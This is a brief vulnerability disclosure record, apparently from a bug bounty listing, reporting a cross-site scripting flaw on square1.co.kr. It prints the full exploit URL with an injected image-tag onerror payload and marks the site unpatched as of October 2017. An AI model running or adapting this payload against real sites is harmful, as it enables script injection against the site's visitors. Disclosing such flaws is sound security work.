square1.co.kr XSS vulnerability

Vulnerable URL: http://square1.co.kr/event/brandevent.php/'%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E?boardcode=boardviewidx=65=1====brand=mkboardbrand Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.10.2017 Vulnerability type:| XSS Vulnerability...